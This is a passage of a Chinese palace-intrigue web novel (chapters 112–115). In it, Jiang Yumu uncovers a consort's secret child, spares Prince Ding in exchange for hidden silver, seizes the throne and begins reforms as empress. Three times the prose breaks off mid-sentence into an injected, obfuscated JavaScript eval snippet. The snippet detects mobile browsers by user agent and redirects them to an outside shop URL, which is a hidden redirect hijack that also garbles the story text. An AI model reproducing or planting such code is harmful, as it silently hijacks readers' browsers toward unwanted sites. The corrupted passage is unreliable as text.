谢莹深吸一口气,颤抖着解释道: “先帝年轻时,每隔一两年便有子嗣出生。到五皇子,哦,也就是先太子出生时,先帝已然年近四十了。” “从那以后,宫中虽有几个嫔妃怀过孕,却都早早小产了。” “太医们虽不敢直言,但我们私下里关起门来,都觉得是先帝年纪大了,不适宜生育,孩子们才没有保住。” 听到这里,江御暮插话道:“嫔妃小产,可有宫内明争暗斗、争风吃醋的缘故?” 谢莹叹着气摇了摇头:“起初先帝也怀疑过,还派人查了许久,搞得宫内人心惶惶。可是终究什么都没查出来。” 江御暮欲言又止:“那,你的孩子……?” 谢莹慢慢捂住自己的小腹,垂眸道:“那年秋狩,我随先帝一同骑马打猎,却不慎从马上摔了下来。先帝懒得管我,便随手指了一个随行的禁军侍卫送我回宫。后来我们——” “不必说这些了。”与这些宫闱秘事的细节相比,江御暮更关心此事是真是假,“你且说说,那人姓甚名谁、相貌有何特征、分属哪队禁军、平日轮值何岗?” 谢莹知道,她是想看看自己能否对答如流,通过这些细节判断是否真有其人。 “不必如此麻烦。”谢莹低下头,轻声道,“此刻,他就在偏殿之内。” 112. 侍卫韩近吐胆倾心,定王归仪大…… 依照江御暮的吩咐,燕识风把孩子还给谢莹,继而去偏殿找到那名禁军言明现状,将他带了过来。 那人名唤韩近,年龄二十有五,比谢莹还小一岁,加之容貌清秀,线条硬朗,显然各方面都比老皇帝强出许多。 江御暮开门见山:“韩近,你可知自己犯了死罪?” 韩近跪坐在地,闻言抬头望着谢莹的双眼,面无惧色道:“卑职知道,但卑职不悔。” 谢莹闻言,刚刚止住的泪意又涌上心头,连忙用手帕擦拭眼角。 她怀中的孩子不知所措,伸出小手胡乱帮她擦着眼泪,低声道:“母妃别哭。” 江御暮转头瞥他一眼,对谢莹冷声道:“若想活命,以后便让他改口唤你娘亲。他不做皇子,你自然也做不得太妃了。” 谢莹连连点头,感激万分道:“是,民妇一定谨记。”语毕看向韩近,对他露出如释重负的一笑。 韩近心内仍然忐忑,不知自己的命运将走向何种结局,但他还是尽量回给她一个轻松的微笑,眼眶也略有些湿润了。 江御暮走近他两步,面无表情问道:“你家中可有妻室?” 韩近连忙答道:“不曾有。” 江御暮似信非信:“你都二十五岁了,双亲就不曾催你?” 韩近坦言道:“前几年催过,但卑职想办法搪塞过去了。” 多亏了他家长辈迷信命理,他才能“对症下药”,假称自己找大师算过命,算出他命带孤星,倘若在三十岁前成亲,便会克死父母,除非找到八字相合的寡妇,才能化险为夷,转祸为福。 他父母乍闻此语,都是又惊又怕,只忙着烧香拜佛,再也顾不上催他成亲了。 他们哪里想得到,彼时彼刻,韩近不但和天底下最尊贵的有夫之妇情投意合,而且连子嗣都有了。 “平身吧。”江御暮深深叹了口气,把谢莹也叫到近前,“幸而孩子年纪尚幼,记忆模糊不清。你们今后悉心教导着吧,最好能让他把宫里的事忘个干净。” 二人听她这么说,赶忙跪下谢恩,继而抱着孩子哭成一团。小孩并不认识韩近,更不明白这个叔叔为什么要抱着自己哭。但是转念想想,既然母妃没有赶走他,他应该就不是坏人吧? 痛快哭完一场,谢莹匆匆换上宫女的衣裳,一家三口随燕识风一起赶到皇帝寝殿,从床下的暗道出了宫。 燕识风锁好暗门,回头又往吟安宫赶去,路上恰好碰到入宫请旨的费红英,便与她一道同行去找江御暮。 二人来至吟安宫,江御暮已经命人把所有太妃暂押在此,此刻正与潜藏在后宫负责监视任务的一队部下谈话。 据她们所说,穆明在位时,谢莹并不敢与韩近有过多的来往,直到穆归礼继位,对后宫的管制有所松懈,他们才得以时时幽会,不过每次见面都避着孩子。 至于方才那个守门太监吃的石榴,确实是谢莹赏给他的——让他半夜吹着冷风在外望风,可不是得给些甜头吗? 江御暮忽而心念一动,问道:“其他太妃呢,可有类似情况?” 不问不知道,一问吓一跳。这些太妃大多年纪尚轻,忍不了宫里静如死水的生活,关起宫门各有各的花样,对象亦是五花八门——内监、宫女、禁军侍卫、甚至还有其他妃嫔。 江御暮听罢大开眼界,语塞许久。 直到部下问起这些太妃该如何安置,她才回过神来,吩咐道:“太妃们多是官家贵女,明日早朝后,都放她们回家去吧。若无家可回,给些银钱遣散了便是。至于她们身边的……咳,愿意继续陪着的,就陪着一起出去,不愿意陪着的,留在宫里就是了。” 说话间,费红英二人已然赶到,对江御暮说起定王府之事。 “定王说他在京外有一处私库,内藏近百万两白银。倘若咱们留他一命,他便把藏银的地点告知咱们。倘若咱们执意杀他,这些银子就只能永远埋在尘土中了。” 江御暮思忖片刻道:“那就先留他一命吧,至于留多久,等咱们拿到那些银子再说。” 费红英忙又补充道:“他还说想见你一面,不知有什么事要与你详谈。” 江御暮有些意外:“现下他人在何处?” “已然进宫了,檀香正看着他呢。” “前面带路。” 眼看她二人快步离去,燕识风连忙追上几步,紧张询问道:“那我呢,去哪待着?” 江御暮眼含诧异:“当然是跟着我了,不然呢?” 燕识风愣了愣,后知后觉道:“喔,我还以为——” “以后不用乱想多问。”江御暮打断他道,“我若没有让你走,你一直跟着我就是了。” 燕识风微微一笑,点头道:“好,我记下了。” 不多时,三人来至一处空置的宫院内,檀香正守在一间屋子门口。 江御暮带着费红英和燕识风一起进了屋,定王穆归仪被五花大绑,歪斜着身子坐在一张方桌上,一只脚还踩着桌面边缘。 看到来者三人,穆归仪噗地一笑,喷出满带酒气的一句调侃:“哟,弟妹,带着左右护法来的?” 江御暮没有纠正他的称呼,主要也是觉得不必跟醉鬼计较,直入正题道:“你要见我,是想说什么?” 穆归仪慢吞吞地调整好坐姿,上身渐渐前倾,似乎想拉近二人之间的距离,又懒得站起来往前走,只能退而求其次,坐在桌子上一点一点往前挪,不料最后一次挪动时没控制好力度,直接从桌子上摔了下来,恰好双膝触地,端端正正跪在了江御暮面前。 江御暮抱臂打量着他,不知为何,总觉得穆归仪此举颇有“大智若愚”的味道。 穆归仪抬起头,对她憨然一笑道:“殿下,我不想死。” 不用她纠正,他自己就换了称呼,很识趣。 江御暮莫名被他这副做派逗得想笑,只得强忍笑意,板着脸道:“那就拿出银子来买活路吧。” “银子!有!多的是!” 穆归仪用力点头,不,那动作更像甩头,一上一下颇有节奏感,精准卡住了每一个重音。 他分明显出了一副醉态,然而再次开口时,双眼却是清明的。 “可是,殿下,我总得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14192401|136661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 先确认您不会卸磨杀驴,对不对?” 江御暮与他对视:“你要如何确认?即便我现在承诺留你性命,你也不会轻易相信的。” 穆归仪双手被反绑在身后,手腕无法动弹,只能用手背大力相撞,发出一串近似于鼓掌的声音,吹捧道:“殿下,您真是洞若观火,明察秋毫,英明神武……” 江御暮无奈地抽了抽嘴角:“少来这套,赶紧说正事,提条件。” 穆归仪向前膝行几步,嬉皮笑脸道:“殿下,过去这些年,咱俩之间不曾有过什么龃龉吧?嗐,说起来,咱俩甚至连面都没见过几次呢!” 江御暮没有多言,只哼出一个“嗯”字。 穆归仪话锋一转,又道:“咱俩虽然没有什么私仇,但你要是非杀我不可呢,我也能理解。” 江御暮一哂道:“定王殿下还真是善解人意。” 穆归仪脸上笑意不减:“是啊是啊,我这么善解人意,将来的用处还多着呢,您大可不必急着杀我,何妨留着考察考察,您说呢?” 江御暮打趣道:“考察?看来,你已经有周详的计划了?” 穆归仪垂下目光,沉默片刻后勉强笑道:“从听闻先太子的死讯那一刻,我就开始计划了。” 语毕,他再次抬起头与她对视,语气中已无方才的落寞悲意:“如今果然证明了我的判断不错,只是……我没想到这一天会来得如此之早。” 江御暮饶有兴致道:“你这般聪明,前些年为何不与你的兄弟们争一争,反而故作疯癫之态,自绝争储之路?倘若你与穆归礼换一换位置,也许所谓的‘这一天’就会晚些再来了。” 穆归礼闻言哈哈大笑,几乎要笑出泪来:“晚些来,晚些来!可是……纵然它再如何晚,这一天也终究是要来的啊……” 燕识风久久注视着穆归仪的面庞,心绪无比复杂。 在今夜以前,他一直以为三皇兄行事放诞乖谬,言语荒唐无稽,整日里沉沦酒乡,形同废人。 然而直到现在他才明白,三皇兄是他们这些皇子中唯一的心明眼亮之人,从前种种竟然皆是伪装。 “你是何时察觉我身份有异的?”江御暮问。 穆归仪低着头答道:“比武招亲。” 江御暮的第一反应便是:“因为我的身手?” “不。”穆归仪抬眸看向费红英,“因为国师登台以后,一举一动总是看您的眼色行事。很显然,她并不是真的盲眼之人。至于她是否真有神通,我也不敢断言。不过,既然您费尽心思把她推到了朝堂中心,所图就不可能只有区区太子妃之位。” 江御暮察觉了他目光的方向,惊讶道:“你是如何认出她的?” 穆归仪自信一笑:“耳朵。” 正如世界上不会有两片一模一样的树叶,同理,也不会有两对一模一样的耳朵。 “她的左耳微微高于右耳,一颗褐色小痣落在左侧耳垂下方,另一颗朱砂小痣落在右侧耳尖。乔迁宴那日,我曾仔细观察过。不料今日竟在您‘左护法’的双耳上发现了同样的特征。更不料……她竟是位姑娘。” 113. 穆归仪传信定王妃,长公主布局…… 穆归仪第一次喝酒,是在得知二皇兄害死大皇兄的那天晚上。那夜纵酒不是为了消愁,而是为了压惊。 那是他第一次见识到皇家手足相残的可怖之处,不得不未雨绸缪,为将来多做打算。 他心里再清楚不过了:二皇兄穆归正面热心冷,狠辣无情;四皇弟穆归礼野心勃勃,阴险狡诈;五皇弟穆归衡地位稳固,无可动摇。 谁都不是他惹得起的。 可惜他没有早些开悟,年少时匆匆成婚,给自己埋下了不小的隐患。 穆归仪时常暗骂自己——瞎凑什么热闹!当初要是不去秋狩,就不会对王妃一见钟情,不会求父皇赐婚!如今可好,摊上个手握边军的武将岳父,万一被兄弟们误会他有夺嫡之心,引来杀身之祸可怎么好? 某次他酒后说漏了嘴,心腹还真以为他后悔遇上王妃了,傻兮兮地建议道:“现在补救也来得及呀,您休妻再娶不就行了?这次娶个没家世的,保证稳——” 话没说完就被穆归仪拍了一掌。 从那时起,穆归仪三日一小醉,五日一大醉,在外闹出了不少笑话,也得罪了不少人。 但他从未得罪过,也不敢得罪自己的手足兄弟。 真醉也好,装醉也罢,穆归仪不过是想告诉他们,自己只求平安富贵,享乐一生,对权术争斗毫无兴趣,行事荒唐如他,亦不可能对他们构成任何威胁。 如此一来,以后不论是哪位兄弟继承皇位,他都会在第一时间臣服道喜,助新帝搏一个兄友弟恭的美名,借此换取后半生的安乐与尊荣。 然而穆归仪没有想到,江御暮的出现打乱了他此前的所有计划。 起初,他察觉江御暮与国师有所勾结,还以为她是想效仿前朝的江远筝,从太子妃一路走到太后之位,渐渐蚕食天子之权。 但他并不怎么忧心——且不说江御暮能否成功,就算她真能变成第二个江远筝,也是许多许多年以后的事。待到那时,穆归仪说不定早就寿终正寝,入土为安了,还管得着人世间的纷争么? 直到先太子的死讯传至京城,穆归仪才意识到事情不对,江御暮与她身后的势力也许比他预想中的更加麻烦。 彼时先帝病重,国师假传圣旨,给怀王和安王都安排了事做,唯他闲了下来,正好有时间为自己筹谋后路。 穆归仪先派心腹离京,去岳丈任职的州府买地置田,再与王妃假意和离,将大笔银钱夹带在她的衣饰被褥箱子里,由一队护卫护送她回到娘家,再把这些银钱掩埋于地下。 “穆归礼派人看得紧,不许我和二皇兄擅自离开京城。”穆归仪对江御暮坦言道,“我原本想着,贵军离京城颇远,还要再过许多时日才能打来,只要我在此之前想办法偷偷离京,回到王妃身边,隐姓埋名生活下去,亦能永葆富贵。却不料……您竟会来得如此之早。” 江御暮听他讲完这一切心路历程,不禁拊掌,询问道:“所以你打算退而求其次,舍去后半生的富贵,只为换一条活路?” 穆归仪已不再装醉,自嘲一笑道:“好死不如赖活着嘛。” 江御暮回忆片刻,忽而提起:“我若没有记错,定王妃的父亲是西南边军的参将吧?我若放你去投奔岳丈,岂不是纵虎归山?” 穆归仪连忙解释:“您若愿意留我性命,我自然知道避嫌,不敢再与朝中官员故旧有所来往。您若不嫌我碍眼,我便留在京城了此残生,誓死不出城门一步!” 江御暮盯着他的双眼斟酌良久,决定给他一个机会,如果穆归仪能完成任务,她也能从中获益。 “你知道穆归正为什么死得如此之快,毫无回旋的余地么?”她问。 穆归仪努力揣测答案,试探问道:“因为……他对您没有价值?” 江御暮轻笑一声:“对,也不对。他死得快,是因为我把裁定权交给了他的王妃,结果很显然,怀王妃比我还急着让他去死。” 穆归仪很快猜到她的心思:“您的意思是——我究竟是死是活,也得交由定王妃裁决?” 其实他的理解并不完全正确。江御暮早前下令处死他们时,只说让怀定王妃替他们选择死法,却不能左右他们的死活。 她现在虽然改了主意,却没有对穆归仪解释这其中的区别,只点头道:“你可以给定王妃修书一封,让她带齐银两,回京城救你性命。” 穆归仪听罢松一口气:“是,我这便去写信!” “我还没说完,你急什么?”江御暮斜他一眼,“即便她来救你,也只能保你三年平安。” “三年!?”穆归仪先是一惊,不过很快就冷静了下来,“您既如此说了,想必还有别的条件,能保我更久的平安吧?” 江御暮喜欢跟聪明人说话。 “有一个任务,完成以后能保你一世安稳。” 她没有继续说下去,穆归仪明白,她这是想看看他能否猜到答案。没关系,他最擅长揣摩圣意了。 除了家财以外,他身上还有什么利用价值呢? 穆归仪脑中灵光一闪:“您的意思是——让我劝岳丈带领西南边军归顺于您?” 江御暮如今虽已控制住京城的局势,但是得月军只攻占了东部几座城池。倘若其他州府不愿归顺,转而割据自立,抑或形成联盟与得月军为敌,她们的帝位便难以稳固下来。各方交战短则一年半载,长则不可估量,她们定然会有所顾虑。 西南边军若能早早归顺,她们必定如虎添翼。 “如何,你可有信心?”江御暮问。 穆归仪虽无十足把握,却不肯露怯,重重点头道:“我愿尽力一试。” 江御暮唤人为他取来纸笔,穆归仪旋即修书一封交给她,让她代为寄送。 江御暮仔细看过信中内容,问道:“你确定只给王妃去信,不对岳丈说些什么吗?” 穆归仪垂眸一笑:“天下岳丈看女婿就没有顺眼的,让她去劝她爹,比我劝有用多了。” 江 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14199392|136661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 御暮收好书信,对他道:“你今晚就在这休息吧,两个时辰后,记得来上早朝。” 语毕,三人接连走出此屋。 从他们转身那一刻开始,穆归仪的视线就定在了燕识风身上,看着他的背影,直到门口的兵士关上屋门,穆归仪才垂下目光。 …… 暂别穆归仪后,三人终于可以休息一会了。 “困吗?”江御暮问。 燕识风摇了摇头,费红英则伸了个懒腰:“困劲早过去了,现在兴奋着呢。” 三人走走停停,路过门庭紧闭的太医院时,江御暮碰了碰费红英的肩膀:“欸,以后这就是你的地盘了。” 费红英抱住她的腰,笑道:“这么早就论功行赏啊?” 江御暮稍显拘谨:“我先练练。” 燕识风握住她一只手,指尖绕着她腕间的平安扣摩挲,用眼神表达着无声的期待。 江御暮手腕发痒,失笑道:“你的赏赐容后再议,我还没想好呢。” 燕识风牵着她的手不放,拧眉道:“谁问你赏赐的事了?又装傻……” “放心吧。”江御暮终于给他吃下定心丸,“少不了你的名分。” 说话间,三人已来至议政殿外。殿外空旷一片,中了迷药的禁军侍卫都被转移到了空置的宫院里,暂时软禁起来。 踏入议政殿,龙椅高高在上,似近似远。 看到它,江御暮不禁想起与母亲告别时的场景。 无论语气多么严肃,长公主看着她的眼神总是那样慈爱。 “御暮,此去京城,你无需心有挂碍。局面初定后,务必即刻登基复国,万勿给怀有异心之人留下作乱的余地。” 江御暮闻言很是意外,下意识反驳道:“可是您还——” “不必顾虑这些!”长公主不等她说完就出言打断,“这是我对江家旧部的承诺,我必须信守诺言。” 江御暮虽然明白这个道理,却难免犹豫:“可是长幼有序,如今母亲在前,女儿怎能——” 长公主再次打断她:“你我二人相比,谁更能坐稳这把龙椅,咱们都心如明镜,不是吗?” 江御暮张了张口,垂眸不言。 长公主继续说道:“即便咱们能坐稳京畿,也只不过在名义上光复了故国,可实际上呢?咱们并不能确保各州各府悉数归顺得月,倘若有人起势作乱,咱们还是得费心周旋。御暮,论行军打仗,你得承认自己稍逊我一筹吧?” 江御暮点头道:“应该说我远逊于您才对。” 长公主温柔一笑道:“我过惯了军营里的日子,比起宫墙之内,我更适合在外领兵,镇守山河。倘若我登基称帝,又怎能轻易御驾亲征呢?如今这种安排,才算各得其所。” 这般推心置腹,这般全无保留,江御暮怎能不为之感动?彼时彼刻,她不禁为自己这一世的幸运感谢上天。 有这般家人之爱,她从小到大受过的所有苦楚尽可一笔勾销。 114. 江御暮现身议政殿,燕识风张弓…… 次日清晨,朝阳尚未完全升起,昨夜轮休的禁军侍卫便已按时入宫换岗。 他们在宫门口集合列队,由各个队长分别带走,途中很快就发现各岗负责值夜的人都不见了踪影,不知何故。 “莫不是等不及咱们来换岗,他们就先回家躲懒去了?”有人如是猜测。 “这也说不通啊!”有人反驳道,“就算躲懒,也不可能几百个弟兄都提前离岗吧?” 众人议论半晌,莫衷一是,渐渐聊起了别的话题。 “听说了吗,昨晚怀定王府都出大事了!” “这还用得着听说啊?昨晚他们被抄家,街上闹出了那么大动静,谁能睡得安稳?” 这种话题过于敏感,众人不敢深聊,只能点到为止。 来至议政殿附近,他们更觉奇怪——往日早朝时分,只需几十名禁军侍卫值守此处,十步一人。可是今日议政殿外人数倍增,约莫三步一人,且都手执陌刀,严阵以待。 “队长,今日不是咱们负责值守议政殿吗?”一名小兵疑惑地问,“是卑职记错了吗?” 这支禁军小队的队长面色严肃,答非所问道:“你瞧他们拿的刀,与咱们的佩刀一样吗?” 小兵远远望去,摇头道:“好像不一样,那是什么刀啊?” 禁军队长低声道:“这种陌刀多在战场上使用,你们不认得也正常。” 小兵听罢不由心惊:“队长,这到底是怎么回事啊?” 禁军队长白他一眼:“你问我,我问谁去!” 这时另一名小兵伸手指向议政殿的屋顶:“你们瞧,那上面是不是安排了许多弓箭手?” 众人定睛一看,果然如此,一时议论不断。 “都静一静,不要自乱阵脚!”禁军队长喝止众人,自知此刻无法推脱责任,只能硬着头皮上前询问情况。 依他判断,这肯定是穆归礼的安排,大概率是为了震慑朝臣吧?说不定还要更进一步,挑出几个不听话的官员杀鸡儆猴呢! 走近议政殿,眼前的兵士全都是生面孔。禁军队长莫名紧张起来,下意识咽了口唾沫,举目四望,找了个最面善的小兵搭话。 “兄弟,你们是哪营哪队的?” 那小兵不假思索道:“天子亲卫。” 禁军队长见他对自己没有敌意,便稍稍放心,接着问道:“是陛下安排你们在此值守的吗?” “不错。” “陛下可曾吩咐,今日原本负责轮值此处的禁军侍卫该如何安排?” 那小兵看了他一眼,冷冷道:“自便。” 禁军队长将这两个字咂摸许久,走回同僚身边以后,把这番对话给他们复述了一遍。 一小兵提议道:“要不咱们跟他们挤一挤?” 禁军队长果断否决:“人家是陛下亲自安排的,说不定另有要务,怎容你我随意瞎挤?万一耽搁了大事怎么办?” 那小兵讪讪一笑:“卑职就是觉得一会可能有事发生,才想留下来看看热闹嘛……” 禁军队长撇嘴摇头道:“宫里的热闹可不能瞎看,鬼知道会不会看着看着就被卷进去。轻则受罚,重则赔命!” 小兵被他唬得一愣,连忙收起不该有的心思,问道:“队长,那咱们去哪啊?总不能直接回家休沐吧?” 禁军队长思忖片刻,终于决定:“走走走,都跟我巡逻去!” 现在虽是白天,他们依然有所忌讳,巡逻时都避着国师炼丹的“闹鬼”宫院走。 正因如此,他们才错过了一场好戏。 迷药效力褪去,值夜的禁军侍卫们接连醒转,环顾四周,只见院墙高耸,院门紧闭。 此时此刻,他们与当初受困于涵州瓮城内的景州军别无二致。 不过这次负责招降他们的并非长公主和江御暮,而是陆一峰和李节。 劝降的手段也很简单粗暴——凡归顺者,此前朝廷所欠饷银一并补发。 毕竟昨晚刚抄完两座王府,国库的存银充裕着呢。 少倾,陆李二人打开院门,一众禁军侍卫鱼贯而出,快步跑去执行新主布置的第一个任务——回到昨夜的岗位,将得月国已然光复的消息告诉其他尚不知情的禁军侍卫。如有不愿归顺者,格杀勿论。 不多时,官员们陆续进宫来上早朝。 “怪哉,今日宫内的禁军侍卫怎么如此吵闹?”礼部侍郎嘟囔道。 “是啊,我瞧着人数也比往日多出一倍呢!”刑部郎中低声搭腔。 “莫不是出什么事了?”工部员外郎心直口快。 “王大人,慎言。”一个熟悉又陌生的声音忽然从他们身后传来。 说熟悉,是因为他们都听过这个声音。 说陌生,是因为他们从未听过这个声音呈现如此刻这般清醒的状态。 三人互相交换了几个眼神,都不敢回头去看。 片刻间,那人就主动走到了他们身前。 “怎么,诸位大人不认识我了?” 三人怔愣片刻,连忙下拜行礼,异口同声道:“参见定王殿下。” 怎么回事?定王穆归仪怎么会出现在这里?他不是被抄家了吗?为何没有被处死,或被关押起来? 难道……是陛下顾念手足之情,没有伤害他?可是倘若如此,陛下又为什么要抄他的家呢? 三人俱是一头雾水,越想越乱。 穆归仪伸手扶三人起身,笑道:“好了好了,以后见我,不必再拜。从今日起,我便不是王爷,只是一介白衣了。” 语毕,穆归仪没有与他们多聊,转过身径直向议政殿走去。 “难道……陛下将定王殿下贬为庶人了?”礼部侍郎猜测道。 刑部郎中面露疑惑:“若是这样,他为何还要来上早朝?” 工部员外郎赞同道:“是啊,从前做王爷时,也不见他上过早朝啊?” 礼部侍郎听罢倒吸一口凉气,学着穆归仪方才那句话道:“王大人,慎言!” 今日宫里处处是怪事,众官员心中难免不安。 这种不安的情绪,在他们来至议政殿附近后放大了十倍百倍。 “这、这么多禁军!” “还有弓、弓、弓箭手?” “完了完了,要出大事啊……” “王大人!慎言!” 辰时二刻,议政殿的殿门准时打开。众官员早已到齐,按部就班走进殿内。 殿内亦有两队禁军执刀而立,龙椅前的桌案被一块黑布盖住,不知桌上放着什么。 最后一位官员踏过门槛后,禁军即刻关闭殿门,关门声虽然不大,却使殿内百官都心中一悸。 能站入议政殿的官员都是人精,怎么会猜不到今日将有大事发生?然而他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14209804|136661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就算再如何聪慧,也想不到所谓“大事”究竟是什么事。 关门声刚刚落定,便有一人从龙椅后的屏风处现身,款步走到桌案之侧,负手立于百官身前。 她身着轻甲,脚蹬长靴,腰佩利剑,剑尾还坠着一块满月形状的血玉。 “诸君可认得我是谁?” 这当然是在明知故问。满京城里的官员们,有谁不认得她江御暮呢? 可惜百官都只顾着惊讶,没有人敢出言回答她的问题。 江御暮抽出佩剑,剑身滑过剑鞘的声响吓得众人缩头耸肩,倒吸凉气。 在百官的注视下,江御暮用剑尖挑开桌上的黑布。不出意料,众人看清桌上光景后,立时大惊失色,连连后退。 穆归礼的尸体赫然躺在桌上,龙袍破碎不堪,华贵的玉饰七零八落,泛着一股死气。 江御暮用剑尖轻点地面,心平气和道:“诸君可知眼前景象意味着什么?” 穆归仪立功心切,连忙大步走出人群,俯身下拜,叩头道:“恭贺吾皇,光复故国!” 他毕竟是皇室中人,如今主动表明立场,带头拥护新君,自然使众人心中一震。 出头鸟一飞,其余官员接连效仿,争先恐后地跪拜行礼,道贺称颂。 当然,这其中亦有不和谐的声音存在。 “江小姐毕竟是女儿身,古来哪有女人做皇——” 话说半截,忽有一支飞箭从屏风缝隙射出,正中那人心口。 那人顷刻倒地身亡,屏风后的燕识风又取出一支箭,随时准备张弓。 谁说古来没有女人称帝?他们武周就是一例,只不过这些人见识短浅,不晓得罢了。 这日散朝后,得月国的旗帜终于再次挂上城头。信使兵分十路,以最快速度将故国光复的消息传往各地州府。 当天夜里,燕识风于梦中再见森森白骨。但这并不是一个噩梦,这一次,它们是来跟他告别的。 系统的声音苍老如故,听来却无往日那般沉重。 “老夫两世为人,一世不人不鬼,时至今日,终于恩怨全清,孽障全消,得以再入轮回了……” 不等燕识风询问他到底是何来路,系统的声音忽又变得冰冷起来,仿佛全无人的感情。 “结局任务【改朝换代】已完成,【亡国系统】已成功解除。” 次日醒来,燕识风几度尝试用心声与系统对话,始终没有得到回应。 直到此刻他才敢相信,折磨他数年之久的邪祟终于离开这个世界了。 自此开始,好消息接连不断—— 三日后,骐州撤军归顺。 五日后,得月军顺利通过峡谷,班师回朝。 十日后,西北方向四州连横,割据自立,扬言新帝牝鸡司晨,不得长久。 十五日后,帝母率军赶赴西北,途中偶逢前来投诚的西南边军,如虎添翼,数月内连捣四州,平定内乱。 帝母犒赏三军,上书请封。其中江连镜获封忠义侯,江唤玥获封勇义侯。一门忠勇,不负先太后江远筝之托。 次年新春,皇帝即将大婚,传令全国免去一年赋税。户部尚书宁问归险些把算盘敲烂,私下找新帝好一通哭穷:“陛下,您可知全国免税一年,要给国库造成多大的负担啊!” 江御暮言简意赅:“前朝养肥的贪官,宰几只助助兴吧。” 115. 充国库女帝定奇策,患得失爱语…… 最近一段时间,六部官员大多忙得脚打后脑勺。 光是查贪,已经累坏了户部和刑部,革职名册一出,吏部又得绞尽脑汁推荐合适的人选递补。 兵部由帝母坐镇,主导制定各地练兵章程与考核标准。军费的难题又压到了户部头上。 唯礼部和工部略显清闲。他们负责筹备新帝大婚各项事宜,原本应是任务繁重,然而如今战事初歇,江御暮下旨婚仪一切从简,不许铺张,这才为他们省下不少麻烦。 可惜刚清闲没两日,他们就被安排了新的任务。 礼部负责改革科举。因工程浩大,短时间内无法一蹴而就,故从编修新教材起步,先将学堂改革推广到全国各地。 江御暮钦点三门学科——语文,数算,物理。 礼部尚书听江御暮简单解释完,不禁面露难色。朝中最不缺文官,编修语文书倒是容易,可数算和物理教材又该找谁主持编修? “这个简单。”江御暮微微一笑,“张皇榜,寻异士。” 语毕大笔一挥,写下两张试卷。第一张还算容易理解—— 第一题,勾三股四弦几? 第二题,列举三种图形面积的计算方法。 第三题,简述轮、轴、杠杆的应用原理。 第二张却让礼部尚书有些摸不着头脑—— ①sin30°=? ②π≈? ③简述牛顿三定律。 ④Anyvolunteer? 皇榜一经贴出,民间立时议论纷纷。能答出第一张试卷者,由礼部自行筛选。能答出第二张试卷者,则由江御暮亲自接见。 她愿意相信,在这偌大天地间,一定还有其他穿越者存在。 等待期间,江御暮一日也不曾得闲,疯狂思索着充盈国库的其他途径。然而朝中官员的建议大多是老调陈词,毫无新意。 恰逢开春,某日早朝时,礼部官员询问是否需要保留春秋两狩的旧俗。这倒给江御暮提了个醒。 “从前这些年,除春秋两狩的时段外,皇家猎场是否一直被封锁着?” “回陛下,确是如此。” “浪费,太浪费了!”江御暮忽而兴奋起来,“就应该把此处改为旅游景区,百姓们闲暇时都可以来参观游玩。当然,咱们也要收一点门票钱,就把这当成一个创收项目来做。”省得宁问归天天找她哭穷。 群臣闻言大多目瞪口呆,唯宁问归点头称是,似乎很有兴趣。 礼部尚书忍不住出言劝道:“陛、陛下三思!这这这……这实在不合礼数啊!尊卑有别,皇家猎场怎能——” “你这老酸腐!”江御暮白他一眼,“正因为是皇家猎场才有噱头,能吸引百姓来玩来看啊,否则咱们凭什么赚这份钱?一天天就抱着你的礼数过日子,礼数能当饭吃啊?” 共处数月,群臣早已习惯了她这般直来直去的说话方式,虽与他们既有印象中的君王大不一样,却也没什么不好的,反而省去了费尽心机揣摩圣意的麻烦。 宁问归还在一旁帮腔:“陛下说得正是。若事事都论礼数,诸位大人每次朝见陛下时,就该跪拜叩头行礼。然自陛下登基之始,这种礼数便已被废除。甚至每日早朝,议政殿内也为百官准备了坐席,使我等不必久站。这两项不合礼数之处,怎不见尚书大人劝陛下收回成命呢?” 礼部尚书靠着椅背,双手搓了搓膝盖,一时不知该怎么反驳,只得作罢。 皇家猎场对外开放之事议定后,江御暮又举一反三,找到了新的商机。 “我朝罪臣穆明窃国后,曾花十数年时间,耗费大量人、物、财力,在京畿修建皇家园林,占地颇广。若不一道利用起来,委实可惜。” 宁问归连忙搭腔:“微臣建议,这些园林亦可同皇家猎场那般,开放给百姓共游共赏。” 二人一唱一和,此事便当堂议定。至于旅游景区的改造工作,自然而然落到了近日唯一清闲的工部头上。 “很好,大家各忙各的吧,退朝!” 即便做了皇帝,江御暮仍然不习惯身边总有人跟着伺候,每次退朝时都自己收好桌案上的奏折,活像新闻联播结束时,主播收拾桌上文稿的样子。 回到御书房,不多时又有新的奏折送来,内容大多是恭贺皇帝即将大婚,亦有地方官员报祥瑞,拍马屁,江御暮都见怪不怪了。 